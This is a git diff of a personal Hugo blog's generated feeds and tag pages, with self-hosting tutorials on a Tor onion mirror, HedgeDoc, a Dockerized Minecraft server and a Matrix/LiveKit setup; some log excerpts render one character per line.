    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    + + + +
    + + + +/ +/ +e +e +t +t +c +c +/ +/ +l +l +e +e +t +t +s +s +e +e +n +n +c +c +r +r +y +y +p +p +t +t +/ +/ +l +l +i +i +v +v +e +e +/ +/ +b +b +l +l +o +o +g +g +. +. +a +a +l +l +i +i +p +p +o +o +u +u +r +r +i +i +m +m +j +j +o +o +u +u +r +r +n +n +e +e +y +y +s +s +. +. +i +i +r +r +/ +/ +f +p +u +r +l +i +l +v +c +k +h +e +a +y +i +. +n +p +. +e +p +m +e +m + + + + +
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +]]>
    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +]]>
    \ No newline at end of file diff --git a/public/tags/letsencrypt/page/1/index.html b/public/tags/letsencrypt/page/1/index.html new file mode 100644 index 0000000..76b2932 --- /dev/null +++ b/public/tags/letsencrypt/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/letsencrypt/ + \ No newline at end of file diff --git a/public/tags/linux/index.html b/public/tags/linux/index.html new file mode 100644 index 0000000..ee65c2c --- /dev/null +++ b/public/tags/linux/index.html @@ -0,0 +1,10 @@ +Linux | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/linux/index.xml b/public/tags/linux/index.xml new file mode 100644 index 0000000..010d42a --- /dev/null +++ b/public/tags/linux/index.xml @@ -0,0 +1,259 @@ +Linux on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/linux/Recent content in Linux on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    + + + +
    + + + + +/ +d +e +v +/ +m +a +p +p +e +r +/ +u +b +u +n +t +u +- +- +v +g +- +v +a +r +3 +. +9 +G +3 +. +4 +G +3 +3 +3 +M +9 +2 +% +v +a +r + + + + +
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    + + + +
    + + + +S +t +a +r +t +i +n +g +m +i +n +e +c +r +a +f +t +s +e +r +v +e +r +v +e +r +s +i +o +n +1 +. +2 +1 +. +9 +P +r +e +- +R +e +l +e +a +s +e +2 + + + + +
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +]]>
    \ No newline at end of file diff --git a/public/tags/linux/page/1/index.html b/public/tags/linux/page/1/index.html new file mode 100644 index 0000000..899dd70 --- /dev/null +++ b/public/tags/linux/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/linux/ + \ No newline at end of file diff --git a/public/tags/livekit/index.html b/public/tags/livekit/index.html new file mode 100644 index 0000000..9ecd811 --- /dev/null +++ b/public/tags/livekit/index.html @@ -0,0 +1,12 @@ +Livekit | AlipourIm journeys +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 9 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/livekit/index.xml b/public/tags/livekit/index.xml new file mode 100644 index 0000000..2db02f5 --- /dev/null +++ b/public/tags/livekit/index.xml @@ -0,0 +1,639 @@ +Livekit on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/livekit/Recent content in Livekit on AlipourIm journeysHugo -- 0.146.0enTue, 26 Aug 2025 00:00:00 +0000Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    + + + +
    + + + +D +a +t +a +b +a +s +e +h +a +s +i +n +c +o +r +r +e +c +t +c +o +l +l +a +t +i +o +n +o +f +' +e +n +_ +U +S +. +u +t +f +8 +' +. +S +h +o +u +l +d +b +e +' +C +' + + + + +
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    + + + +
    + + + +E +R +R +O +R +: +U +n +k +n +o +w +n +b +o +o +l +e +a +n +v +a +l +u +e +: +# +l +o +g +t +o +j +o +u +r +n +a +l +d +/ +s +y +s +l +o +g +. +Y +o +u +c +a +n +u +s +e +o +n +/ +o +f +f +, +y +e +s +/ +n +o +, +1 +/ +0 +, +t +r +u +e +/ +f +a +l +s +e +. + + + + +
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

